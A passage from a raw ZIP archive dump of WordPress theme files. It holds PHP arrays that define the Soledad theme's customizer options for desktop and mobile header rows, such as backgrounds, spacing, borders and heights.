	'section'   => $section_name,
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => $section_name,
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     /w\oj
O  O  G  builder/customizer/sections/penci_header_desktop_sticky_top_section.phpnu [        <?php
$sticky_row   = 'top';
$name         = 'Sticky Top';
$section_name = 'penci_header_desktop_sticky_' . $sticky_row . '_section';
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_middle_column",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_width",
	'default'   => 'container-normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-box-model',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     /w\b>x  x  C  builder/customizer/sections/penci_header_desktop_sticky_section.phpnu [        <?php
/* Header Sticky */
$options   = [];
$options[] = array(
	'id'       => 'penci_header_desktop_sticky_shadow',
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_attr__( 'Enable Sticky Shadow ?', 'soledad' ),
	'section'  => 'penci_header_desktop_sticky_section',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'       => 'penci_header_desktop_sticky_hide_down',
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_attr__( 'Hide When Scrolling Down', 'soledad' ),
	'section'  => 'penci_header_desktop_sticky_section',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'       => "penci_header_desktop_sticky_wrap_all",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Boxed Header Sticky ?', 'soledad' ),
	'section'  => 'penci_header_desktop_sticky_section',
);

$options[] = array(
	'id'        => "penci_header_desktop_sticky_wrap_width",
	'default'   => 'container-fullwidth',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'container-normal' => '1170px',
		'container-1400'   => '1400px',
		'container-custom' => 'Custom Width',
	],
	'label'     => __( 'Select Width for Boxed Header', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
);

$options[] = array(
	'id'        => "penci_header_desktop_sticky_wrap_custom_width",
	'default'   => '',
	'type'      => 'soledad-fw-size',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __( 'Boxed Header Custom Width', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'ids'       => array(
		'desktop' => "penci_header_desktop_sticky_wrap_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_desktop_sticky_lr_spc",
	'default'   => '',
	'type'      => 'soledad-fw-size',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __( 'Boxed Header Left/Right Margin', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'ids'       => array(
		'desktop' => "penci_header_desktop_sticky_lr_spc",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => 'penci_header_desktop_sticky_spacing_setting',
	'type'      => 'soledad-fw-box-model',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => 'penci_header_sticky_border_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Borders Color', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
);

$options[] = array(
	'id'        => 'penci_header_sticky_border_style',
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( ' Borders Style', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

return $options;
PK     /w\N@ヵ    C  builder/customizer/sections/penci_header_topbar_setting_section.phpnu [        <?php
$area          = 'topbar';
$name          = 'Top Bar';
$area_settings = $area;
$default_width = 'container-normal';
$section_name  = "penci_header_{$area_settings}_setting_section";
$options   = [];
/* Section Settings */
$options[] = array(
	'id'              => "penci_header_{$area}_middle_column",
	'default'         => 'disable',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	'label'           => __( 'Middle Column Position', 'soledad' ),
	'section'         => $section_name,
	'choices'         => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	],
	'partial_refresh' => [
		"penci_header_{$area}_middle_column" => [
			'selector'        => '.penci-desktop-topbar',
			'render_callback' => 'penci_hb_element_desktop_' . str_replace( 'bar', '', $area ) . '_preview_render',
		],
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'section'   => $section_name,
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => $section_name,
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     /w\c|    J  builder/customizer/sections/penci_header_mobile_topbar_setting_section.phpnu [        <?php
$mobile_row   = 'topbar';
$name         = 'Mobile Top Bar';
$section_name = "penci_header_mobile_{$mobile_row}_setting_section";
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_middle_column",
	'default'   => 'enable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'       => "penci_header_mobile_{$mobile_row}_sticky_setting",
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'enable'  => 'Yes',
		'disable' => 'No',
	],
	'label'    => esc_html__( 'Sticky This Row on Scroll Down?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-image',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_sticky_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color on Sticky', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'settings'  => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     /w\J    J  builder/customizer/sections/penci_header_mobile_midbar_setting_section.phpnu [        <?php
$mobile_row   = 'midbar';
$name         = 'Mobile Mid Bar';
$section_name = "penci_header_mobile_{$mobile_row}_setting_section";
/* Section Settings */
$options   = [];
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_middle_column",
	'default'   => 'enable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'       => "penci_header_mobile_{$mobile_row}_sticky_setting",
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'enable'  => 'Yes',
		'disable' => 'No',
	],
	'label'    => esc_html__( 'Sticky This Row on Scroll Down?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_sticky_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color on Sticky', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
